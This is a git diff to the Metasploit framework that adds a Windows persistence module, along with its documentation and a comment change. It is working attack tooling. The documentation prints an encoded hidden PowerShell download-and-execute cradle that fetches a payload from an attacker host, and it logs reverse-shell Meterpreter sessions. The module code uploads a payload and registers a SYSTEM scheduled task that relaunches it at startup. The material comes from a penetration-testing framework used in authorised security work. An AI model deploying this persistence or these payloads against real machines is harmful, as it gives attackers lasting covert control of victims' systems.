diff --git a/documentation/modules/exploit/windows/persistence/task_scheduler.md b/documentation/modules/exploit/windows/persistence/task_scheduler.md new file mode 100644 index 0000000000000..6c729f7f75c67 --- /dev/null +++ b/documentation/modules/exploit/windows/persistence/task_scheduler.md @@ -0,0 +1,140 @@ +## Vulnerable Application + +This module establishes persistence by creating a scheduled task to run a payload. + +## Verification Steps + +1. get session on target with admin/system privs +2. `use exploit/windows/persistence/task_scheduler` +3. `set payload ` +4. `set lport ` +5. `set lhost ` +6. `exploit` + +## Options + +### PAYLOAD_NAME + +Name of payload file to write. Random string as default. + +### TASK_NAME + +The name of task. Random string as default. + +## Advanced Options + +### ScheduleType + +Schedule frequency for the new created task. +Options are: `MINUTE`, `HOURLY`, `DAILY`, `WEEKLY`, `MONTHLY`, +`ONCE`, `ONSTART`, `ONLOGON`, `ONIDLE`. + +### ScheduleModifier + +Schedule frequency modifier to define the amount of `ScheduleType`. +This defines the amount of minutes/hours/days/weeks/months, +depending on the ScheduleType value. When `ONIDLE` type is used, +this represents how many minutes the computer is idle before +the task starts. This value is not used with `ONCE`, `ONSTART` and +`ONLOGON` types. + +## Scenarios + +### Windows 10 1909 (10.0 Build 18363) + +``` +resource (/root/.msf4/msfconsole.rc)> setg verbose true +verbose => true +resource (/root/.msf4/msfconsole.rc)> setg lhost 2.2.2.2 +lhost => 2.2.2.2 +resource (/root/.msf4/msfconsole.rc)> setg payload cmd/linux/http/x64/meterpreter/reverse_tcp +payload => cmd/linux/http/x64/meterpreter/reverse_tcp +resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery +[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp +resource (/root/.msf4/msfconsole.rc)> set target 2 +target => 2 +resource (/root/.msf4/msfconsole.rc)> set srvport 8085 +srvport => 8085 +resource (/root/.msf4/msfconsole.rc)> set uripath w2 +uripath => w2 +resource (/root/.msf4/msfconsole.rc)> set payload payload/windows/x64/meterpreter/reverse_tcp +payload => windows/x64/meterpreter/reverse_tcp +resource (/root/.msf4/msfconsole.rc)> set lport 4449 +lport => 4449 +resource (/root/.msf4/msfconsole.rc)> run +[*] Exploit running as background job 0. +[*] Exploit completed, but no session was created. +[*] Started reverse TCP handler on 2.2.2.2:4449 +[*] Using URL: http://2.2.2.2:8085/w2 +[*] Server started. +[*] Run the following command on the target machine: +powershell.exe -nop -w hidden -e WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJABhADYAeQA3AFUAPQBuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAA7AGkAZgAoAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFAAcgBvAHgAeQBdADoAOgBHAGUAdABEAGUAZgBhAHUAbAB0AFAAcgBvAHgAeQAoACkALgBhAGQAZAByAGUAcwBzACAALQBuAGUAIAAkAG4AdQBsAGwAKQB7ACQAYQA2AHkANwBVAC4AcAByAG8AeAB5AD0AWwBOAGUAdAAuAFcAZQBiAFIAZQBxAHUAZQBzAHQAXQA6ADoARwBlAHQAUwB5AHMAdABlAG0AVwBlAGIAUAByAG8AeAB5ACgAKQA7ACQAYQA2AHkANwBVAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADIALgAyADIAOAA6ADgAMAA4ADUALwB3ADIALwB0AGIARwBHAGMAVgBOAEoATgAnACkAKQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADIALgAyADIAOAA6ADgAMAA4ADUALwB3ADIAJwApACkAOwA= +msf exploit(multi/script/web_delivery) > +[*] 1.1.1.1 web_delivery - Powershell command length: 3659 +[*] 1.1.1.1 web_delivery - Delivering Payload (3659 bytes) +[*] Sending stage (230982 bytes) to 1.1.1.1 +[*] Meterpreter session 1 opened (2.2.2.2:4449 -> 1.1.1.1:49934) at 2025-10-26 16:11:31 -0400 +``` + +Session info + +``` +msf exploit(multi/script/web_delivery) > sessions -i 1 +[*] Starting interaction with 1... + +meterpreter > sysinfo +Computer : WIN10PROLICENSE +OS : Windows 10 1909 (10.0 Build 18363). +Architecture : x64 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 2 +Meterpreter : x64/windows +meterpreter > getuid +Server username: WIN10PROLICENSE\windows +meterpreter > background +[*] Backgrounding session 1... +``` + +Persistence + +``` +msf exploit(multi/script/web_delivery) > use exploit/windows/persistence/task_scheduler +[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp +msf exploit(windows/persistence/task_scheduler) > set session 1 +session => 1 +msf exploit(windows/persistence/task_scheduler) > set payload windows/meterpreter/reverse_tcp +payload => windows/meterpreter/reverse_tcp +msf exploit(windows/persistence/task_scheduler) > exploit +[*] Exploit running as background job 1. +[*] Exploit completed, but no session was created. + +[*] Started reverse TCP handler on 2.2.2.2:4444 +msf exploit(windows/persistence/task_scheduler) > [*] Running automatic check ("set AutoCheck false" to disable) +[*] [Task Scheduler] Trying to get SYSTEM privilege +[*] [Task Scheduler] Got SYSTEM privilege +[+] The target appears to be vulnerable. Likely exploitable +[*] Payload (7168 bytes) uploaded on WIN10PROLICENSE to C:\Users\windows\AppData\Local\Temp\CLxSZIsj.exe +[*] Creating task: svuJIW +[*] [Task Scheduler] executing command: schtasks /create /tn "svuJIW" /tr "C:\Users\windows\AppData\Local\Temp\CLxSZIsj.exe" /sc ONSTART /ru SYSTEM /f +[*] Starting task: svuJIW +[*] [Task Scheduler] executing command: schtasks /run /tn svuJIW +[*] Sending stage (188998 bytes) to 1.1.1.1 +[*] Meterpreter-compatible Cleanup RC file: /root/.msf4/logs/persistence/WIN10PROLICENSE_20251026.1226/WIN10PROLICENSE_20251026.1226.rc +[*] Meterpreter session 2 opened (2.2.2.2:4444 -> 1.1.1.1:49935) at 2025-10-26 16:12:29 -0400 +``` + +Cleanup + +``` +msf exploit(windows/persistence/task_scheduler) > sessions -i 2 +[*] Starting interaction with 2... + +meterpreter > run /root/.msf4/logs/persistence/WIN10PROLICENSE_20251026.1226/WIN10PROLICENSE_20251026.1226.rc +[*] Processing /root/.msf4/logs/persistence/WIN10PROLICENSE_20251026.1226/WIN10PROLICENSE_20251026.1226.rc for ERB directives. +resource (/root/.msf4/logs/persistence/WIN10PROLICENSE_20251026.1226/WIN10PROLICENSE_20251026.1226.rc)> execute -f cmd.exe -a "/c schtasks /delete /tn svuJIW /f" +Process 560 created. +resource (/root/.msf4/logs/persistence/WIN10PROLICENSE_20251026.1226/WIN10PROLICENSE_20251026.1226.rc)> rm C:/Users/windows/AppData/Local/Temp/CLxSZIsj.exe +[-] stdapi_fs_delete_file: Operation failed: Access is denied. +meterpreter > +``` diff --git a/lib/msf/core/post/windows/task_scheduler.rb b/lib/msf/core/post/windows/task_scheduler.rb index e6419720e95fb..c49860daa068a 100644 --- a/lib/msf/core/post/windows/task_scheduler.rb +++ b/lib/msf/core/post/windows/task_scheduler.rb @@ -95,7 +95,10 @@ def initialize(info = {}) # deleting the associated Security Descriptor registry value. # Note that SYSTEM privileges are needed for this. It will try to # elevate privileges if the session is not already running under - # the SYSTEM user.', + # the SYSTEM user.' + # + # To list SECURITY_DESC items, the following ps command can be used + # Get-ChildItem "C:\Windows\System32\Tasks" -Recurse -File | Select-Object FullName OptEnum.new( 'ScheduleObfuscationTechnique', [ false, diff --git a/modules/exploits/windows/persistence/task_scheduler.rb b/modules/exploits/windows/persistence/task_scheduler.rb new file mode 100644 index 0000000000000..65c75e8b10eae --- /dev/null +++ b/modules/exploits/windows/persistence/task_scheduler.rb @@ -0,0 +1,110 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Post::File + include Msf::Exploit::EXE + include Msf::Exploit::Local::Persistence + prepend Msf::Exploit::Remote::AutoCheck + include Msf::Post::Windows::TaskScheduler + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Windows Persistent Task Scheduler', + 'Description' => %q{ + This module establishes persistence by creating a scheduled task to run a payload. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'h00die' ], + 'Platform' => [ 'win' ], + 'Privileged' => true, + 'SessionTypes' => [ 'meterpreter', 'shell' ], + 'Targets' => [ + [ 'Automatic', {} ] + ], + 'DefaultTarget' => 0, + 'References' => [ + ['ATT&CK', Mitre::Attack::Technique::T1053_005_SCHEDULED_TASK], + ['URL', 'https://learn.microsoft.com/en-us/windows/win32/taskschd/task-scheduler-start-page'] + ], + 'DisclosureDate' => '1998-05-15', # windows 98 release date which included "modern" task scheduler + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT], + 'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES] + } + ) + ) + + register_options( + [ + OptString.new('PAYLOAD_NAME', [false, 'Name of payload file to write. Random string as default.']), + OptString.new('TASK_NAME', [false, 'The name of task. Random string as default.' ]), + ] + ) + + # not needed since this is not remote + deregister_options( + 'ScheduleRemoteSystem', + 'ScheduleUsername', + 'SchedulePassword', + 'ScheduleObfuscationTechnique' # prefer NONE so we can start our service + ) + end + + def writable_dir + d = super + return session.sys.config.getenv(d) if d.start_with?('%') + + d + end + + def check + print_warning('Payloads in %TEMP% will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('%TEMP%') # check the original value + return CheckCode::Safe("#{writable_dir} doesn't exist") unless exists?(writable_dir) + + begin + get_system_privs + rescue StandardError + return CheckCode::Safe('You need higher privileges to create scheduled tasks ') + end + + CheckCode::Appears('Likely exploitable') + end + + def upload_payload(dest_pathname) + payload_exe = generate_payload_exe + fail_with(Failure::UnexpectedReply, "Error writing payload to: #{dest_pathname}") unless write_file(dest_pathname, payload_exe) + vprint_status("Payload (#{payload_exe.length} bytes) uploaded on #{sysinfo['Computer']} to #{dest_pathname}") + end + + def install_persistence + payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(6..13))) + temp_path = writable_dir + payload_pathname = temp_path + '\\' + payload_name + '.exe' + upload_payload(payload_pathname) + + task_name = datastore['TASK_NAME'] || Rex::Text.rand_text_alpha((rand(6..13))) + vprint_status("Creating task: #{task_name}") + begin + task_create(task_name, payload_pathname, { obfuscation: 'NONE' }) + rescue TaskSchedulerObfuscationError => e + print_warning(e.message) + print_good('Task created without obfuscation') + rescue TaskSchedulerError => e + fail_with(Failure::UnexpectedReply, "Task creation error: #{e}") + end + + vprint_status("Starting task: #{task_name}") + task_start(task_name) + schtasks_cmd = ['/delete', '/tn', task_name, '/f'] # taken from task_delete in task_scheduler.rb + @clean_up_rc << "execute -f cmd.exe -a \"/c #{get_schtasks_cmd_string(schtasks_cmd)}\"\n" + @clean_up_rc << "rm #{payload_pathname.gsub('\\', '/')}\n" + end +end